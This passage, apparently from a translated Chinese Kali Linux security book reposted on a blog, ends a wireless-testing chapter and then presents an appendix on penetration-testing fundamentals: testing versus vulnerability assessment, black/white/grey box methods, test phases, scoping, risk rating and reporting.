  • 监视模式:这允许无线网络接口监视无线网络上的所有流量,无论是从客户端到 AP,AP 到客户端,还是 AP 到客户端的广播。监视模式用于数据包分析,上面提到的大多数工具都使用它。

AP代表接入点。它也被视为用于连接客户端的无线设备;无线路由器就是一个接入点。攻击者可以创建一个虚假的接入点,并可以操纵用户连接到它。

Beacon frame是无线标准中的管理帧;它包含有关网络的信息,并定期传输以宣布 WLAN 网络的存在。

这就是无线测试章节的结束。

附录 A. 渗透测试 101 基础

在本章中,我们将涵盖以下主题:

  • 介绍

  • 什么是渗透测试

  • 什么是漏洞评估

  • 渗透测试与漏洞评估的区别

  • 渗透测试的目标

  • 渗透测试的类型:

  • 黑盒

  • 白盒

  • 灰盒

  • 谁应该进行渗透测试

  • 这里的目标是什么

  • 一般渗透测试阶段

  • 收集要求

  • 准备测试计划

  • 渗透测试的不同阶段

  • 提供测试客观性和边界

  • 项目管理和第三方批准

  • 漏洞的分类化

  • 威胁管理

  • 资产风险评级

  • 报告

  • 结论

介绍

对于任何组织来说,保护 IT 基础设施和客户数据至关重要;信息安全计划确保任何系统的可靠、不间断和安全运行。信息安全是一个广泛的领域,可以根据效率和专业知识划分为几个类别,如 Web 应用程序安全、移动应用程序安全和网络安全。

每个类别都有自己的背景要求,例如,开发人员可以成为优秀的 Web 应用程序测试人员,移动应用程序开发人员可以更好地掌握移动应用程序安全性,网络和系统管理员可以成为网络/系统/DevOps 安全工程师。并不一定需要有先前的知识,但需要对他们进行安全评估的领域有很好的了解。

在本章中,我们将学习渗透测试方法论。我们将列出在开始渗透测试之前应该注意的所有事项。您应该对诸如什么是渗透测试?它与漏洞评估有何不同?为什么我们作为一个组织要进行渗透测试?以及谁应该进行渗透测试-内部团队还是专门从事安全评估的外部供应商,都应该有清晰的答案。

什么是渗透测试?

渗透测试是从内部或外部对系统进行安全定向探测,几乎没有或没有系统本身的先验知识,以寻找攻击者可能利用的漏洞。当我们谈论渗透测试时,它不仅限于独立的机器;它可以是任何组合的 Web 或网络应用程序、主机或网络,以及云端或内部。换句话说,渗透测试是对 IT 基础设施的所有组件进行评估的活动,包括但不限于操作系统、网络通信协议、应用程序、网络设备、物联网连接设备、物理安全和人类心理,使用与攻击者完全相同的目标方法和方法,但由经过授权和经验丰富的安全专业人员在组织的董事会或经理批准的范围内执行。

维基百科提供的定义是:“渗透测试,非正式地称为 pen test,是对计算机系统的攻击,旨在寻找安全漏洞,可能获取对计算机的功能和数据的访问权限”。模拟内部渗透或外部渗透的变化,以及提供的目标信息量的不同,都有各自的好处,但实际上取决于什么能给您最大的保证,以及当时的需求是什么。

什么是漏洞评估

漏洞评估是将网络服务和版本与公开可用的漏洞进行映射的活动。它是非侵入性的,但基于主动收集的信息,并与不同版本的可用漏洞相关联。

漏洞评估可以在 Web 应用程序、网络协议、网络应用程序、网络设备和云端或本地服务器上执行。有时,雇主、组织或客户可能需要漏洞评估,因为他们担心进行渗透测试会破坏系统或丢失数据,或者两者都会发生。

值得注意的是,漏洞评估并不是实际的开发,而是匹配来自公共来源的相关数据,这些数据提到了网络/系统上给定服务版本的利用可能性。它包含误报。

渗透测试与漏洞评估

渗透测试和漏洞评估之间的一个主要区别在于实质上的开发部分。在漏洞评估中不进行开发,但开发是渗透测试的主要焦点和实际结果。

以下是其他值得注意的区别:

区别 漏洞评估 渗透测试
自动化 可以完全自动化,达到令人满意和可靠的结果。 可以在一定程度上自动化,但需要熟练的个人来寻找所有可能的漏洞,并实际利用这些信息来从不同入口渗透系统。
时间 由于可以自动化,显然需要较少的时间,取决于检查的数量和正在检查的系统数量。但通常可以在单台机器上的几分钟内完成。 由于是手动的,需要人的效率和创造力来跳出思维定势并利用漏洞获得访问权限。可能需要数天才能完全获得对充分保护的系统的访问权限。
噪音水平 被动且产生较少日志 嘈杂且具有攻击性;产生大量日志并且可能非常混乱
误报 报告误报 消除误报
方法 程序化 直觉
测试性质 相同的测试/扫描 准确/彻底
开发 不适用 对系统具有完全访问权限

渗透测试的目标

渗透测试的目标非常简单明了;渗透测试为高管、架构师和产品经理提供了组织安全状况的全方位鸟瞰图。渗透测试还帮助决策者了解实际攻击的形式以及对业务、收入和声誉的影响。该过程涉及对潜在漏洞的严格分析,这些漏洞可能是由于网络、硬件、固件或软件缺陷的不良或不当配置而产生。它还有助于通过缩小安全风险范围和了解当前安全措施的有效性来专注于重要事项。还有其他主要原因:

  • 作为起点:要解决问题,首先需要识别问题。这正是渗透测试所做的;它有助于识别问题及其所在位置。它帮助您了解可能发生侵犯的地方以及可能发生侵犯的确切原因,以便组织可以制定行动计划以在未来减轻这些安全问题。

  • 优先处理风险:识别安全问题是渗透测试的主要目标。在了解存在安全问题后,它还有助于根据其影响和严重性对提出的安全问题进行优先处理。

  • 改善组织的整体安全性:渗透测试不仅有助于识别技术安全问题,还有助于识别非技术问题,比如攻击可以多快被识别,一旦被识别可以采取什么行动,如何升级,升级给谁,以及在发生违规事件时该怎么办。它可以让人了解实际攻击的样子。它还有助于确定一个漏洞是技术漏洞还是非技术漏洞,比如用户点击网络钓鱼邮件直接给攻击者访问他们的笔记本电脑,打败了所有的网络安全设备和防火墙规则。这显示了员工安全信息培训的不足。

渗透测试类型

为了成功进行渗透测试活动,需要对整个流程进行规划。

也有不同类型的方法:

  • 黑盒方法

  • 白盒方法

  • 灰盒方法

以下部分是测试阶段最常见的规范/方法。

黑盒

在黑盒方法中,测试人员对基础架构一无所知并进行测试。这就像在黑暗中射击,通常是真实攻击的方式;唯一的缺点是进行测试的时间限制,因为攻击者有很多时间来计划和准备他们的攻击;然而,测试人员没有,这将影响财务状况。黑盒方法通常如下进行:

  • 枚举网络、应用程序、服务器等

  • 对认证领域进行暴力破解

  • 扫描网络以找到漏洞

  • 在测试环境中测试利用

  • 调整利用

  • 执行利用

  • 深入挖掘进入内部网络

  • 清理

白盒

这种方法是一种非常广泛的方法,进行了广泛的测试,主要是因为在白盒中所有的凭据、源代码、网络架构、操作系统配置、数据库配置和防火墙规则都存在。这种审计需要很长时间,但也提供了公司脆弱性的精确信息,原因是整个工作范围都是 readily available,没有猜测的成分;一切都是显而易见的。步骤包括以下内容:

  • 审查源代码

  • 审查网络设备、操作系统和数据库的配置文件

  • 使用域和服务器凭据扫描网络

  • 识别漏洞

  • 测试利用

  • 执行利用

  • 清理

灰盒

这是介于前面讨论的两种方法之间的方法。有部分详细信息可用于进行审计--例如,网络范围是什么,应用程序、服务器等的凭据是什么。此外,在灰盒活动中,防火墙规则被设置为允许流量,以了解进行渗透测试的原因。步骤包括以下内容:

  • 使用提供的详细信息访问设备、应用程序和服务器

  • 扫描和评估系统和应用程序

  • 识别漏洞

  • 利用漏洞

  • 深入挖掘

  • 执行利用

  • 清理

谁应该进行渗透测试?

这是一个具有挑战性的问题;在这里要意识到的一件重要的事情是,任何具有安全知识,随时了解每天的漏洞情况,过去进行过渗透测试活动,熟悉漏洞,并且具有经验和良好认证的人更适合进行这样的活动。

在考虑这一点时,有两件事可以做:一是建立一个内部安全部门,定期进行渗透活动,并实时监视任何活动威胁,并在实时识别和减轻威胁,或者雇佣外部团队进行渗透测试活动,每年或每季度进行一次。通常,最好和成本效益最高的方式是拥有一个了解渗透测试并能够借助 CERT、Exploit-DB、NVD 等进行实时评估的内部测试团队。拥有一个安全团队总比没有任何安全措施要好;就像人们说的,预防总比不预防好。

当我们谈论外包时,我们需要了解这项活动将每年进行一次或每季度进行四次,这通常是一项非常昂贵的活动。人们需要仔细评估情况,并决定外部实体是否有效,还是内部团队是否有效;两者都有各自的优缺点。其中一个标准包括信任度和保持来进行渗透测试的人员发现的漏洞的保密性;人们永远不知道其他人的动机。此外,在外包活动时,必须付出很多思考,以确保信息不会泄露。当这项活动每年进行一次时,人们也无法清楚地了解其基础架构;它只能展示组织在那个时间点的样子。

网络和设备安全存在一些误解,每个人都需要明确:

  • 没有什么是百分之百安全的

  • 部署防火墙并不能使网络百分之百免受入侵尝试

  • IDS/IPS 并不能百分之百地防止攻击者

  • 杀毒软件并不总是能够保护系统免受 0day 攻击

  • 不上网也不能完全保护您免受攻击

  • 每年进行测试也不能为另一年提供安全保障

这里的目标是什么?

目标是确保网络中的系统及其漏洞得到识别,并对其进行缓解,以便未来不会发生针对这些已知漏洞的攻击,并确保网络中的每个设备都得到识别,以及其开放的端口和缺陷。

一般渗透测试阶段

成功的渗透尝试分阶段进行,以了解或复制相同的需求,需要了解渗透测试的核心阶段。

该过程可以分解如下:

  1. 收集需求

  2. 准备和规划(阶段、目标、批准)

  3. 评估/检测设备及其漏洞

  4. 实际攻击

  5. 漏洞的分类/报告

  6. 威胁管理/资产风险评级

  7. 报告

让我们简要了解这些过程。

收集需求

在这个阶段,我们尽可能多地收集关于我们目标的信息,比如识别 IP 地址和端口细节。一旦完成这一步,就可以收集有关其运行的操作系统版本和端口上运行的服务以及它们的版本的更多信息。此外,还可以对防火墙规则或对架构施加的网络限制进行绘制。

作为攻击者,我们会做以下事情:

  • 确保检测到的所有 IP 地址在操作系统和设备类型方面都得到识别

  • 识别开放的端口

  • 识别在这些端口上运行的服务

  • 如果可能的话,了解这些服务的版本细节

  • 电子邮件 ID 泄露、邮件网关泄露等

  • 绘制范围内整个局域网/广域网网络的地图

准备和规划

整个活动的一个非常关键的阶段是规划和准备;对此的微小偏差可能是灾难性的。为了理解这一点,需要了解渗透测试是一项消耗底层基础设施大量带宽的活动。没有组织希望在核心业务时间或业务高峰期使其网络陷入停滞。其他因素可能包括过多的流量导致网络拥塞和崩溃。在开始活动之前,还有许多其他关键因素需要解决。应该召集利益相关者进行启动会议,并明确确定测试的边界,即测试应该在哪些地方和哪些区域进行。一旦确定了这一点,就可以确定执行活动的有效时间,以确保网络不受影响,业务不受影响。还应考虑执行此活动所需的时间;有必要定义一个时间表,因为这会影响财务状况和测试人员的可用性。还应记录要测试和审计的设备的入围名单。

应在会议中讨论对各个入围设备进行渗透测试的时间。将关键服务器和非关键服务器进行分类,并决定它们进行测试的时间,以确保业务不受影响。组织应该决定是否要通知他们的团队正在进行渗透测试;这样做将确保业务不受影响,然而,检测到事件的主动性将超出范围。不通知团队正在进行渗透测试可能有其优点和缺点;其中一个是,如果网络团队检测到攻击,他们将按程序进行全面封锁网络,这可能导致业务损失,并减缓业务功能,导致部分混乱。

如果组织计划外包渗透测试活动,应签署协议规定,在测试范围内获取的所有信息和机密文件不得外泄,第三方将遵守保密协议,所有获取的信息和发现的漏洞都将保留在组织内部。

定义范围

一旦活动的所有准备和规划工作完成,渗透测试人员可以开始书中描述的整个活动。本书涵盖了从信息收集、漏洞评估、渗透测试、深入挖掘等整个过程的所有部分。一旦发现漏洞,就应制定渗透测试计划并付诸实施。

进行渗透测试

在这里,渗透测试人员必须决定要对哪些系统进行测试,比如,为了概括,假设有 n 个系统,其中 m 个系统是台式机。然后,测试应该集中在 n-m 个系统上,例如服务器。在这里,测试人员可以了解它们是什么类型的设备,然后可以开始利用。利用应该是一个计时活动,因为应用程序或设备崩溃的可能性可能会增加,如果利用失败,业务可能会受到影响。一旦确定了漏洞的数量,就应制定一个时间表,规定允许执行整个测试活动的时间。

可以使用各种工具,正如我们在本章中所见。Kali 提供了执行活动所需的所有工具的广泛资源。还可以与组织澄清社会工程是否是渗透测试的可接受方面;如果是,这些方法也可以包括在内并付诸执行。

漏洞分类

所有成功和失败的利用应该在这里进行映射,并且它们应该根据关键、高、中和低的评级进行分类。这个结论可以通过受影响设备的关键性和漏洞的 CVSS 评级或风险评级的协助来完成。风险是通过考虑许多因素来计算的:风险 = 可能性 * 影响

资产风险评级

有各种因素需要考虑以下事项:

  • 估计可能性的因素

  • 估计风险的因素

以下是来自 OWASP 的图表,帮助理解估计可能性的因素:

资产风险评级

为了了解漏洞影响的估计,我们参考以下图表:

资产风险评级

报告

这是管理层查看的关键部分,对网络渗透测试所做的所有辛勤工作都体现在报告中。报告必须非常谨慎地完成,应该提供执行的所有活动的所有细节,并且报告应该涵盖并为所有层次理解:开发层、管理层和更高的管理层。

报告应包括所做的分析,并且漏洞需要根据风险评级显示。按照风险评级报告漏洞总是最佳实践,关键的漏洞在顶部,最低的在底部。这有助于管理层更好地了解漏洞,并且可以根据漏洞的风险评级采取行动。

报告的内容应包括以下内容:

  • 覆盖报告整体要点的索引

  • 需要关注的顶级漏洞列表

  • 所有发现的摘要

  • 范围,由组织定义

  • 在审计阶段发现的任何限制或障碍

  • 所有漏洞的详细列表

  • 漏洞的描述及其证据

  • 修复漏洞的建议

  • 修复漏洞的替代方案

  • 术语表

结论

这项活动可以得出成功的结论。然而,人们必须知道这并不是一个百分之百可靠的机制。这是因为渗透测试人员被给予有限的时间来执行活动,而攻击者没有时间表,随着时间的推移,他们可以制定一种方法来模拟攻击,收集多个漏洞。

posted @ 2024-05-03 21:42  绝不原创的飞龙  阅读(5)  评论(0编辑  收藏  举报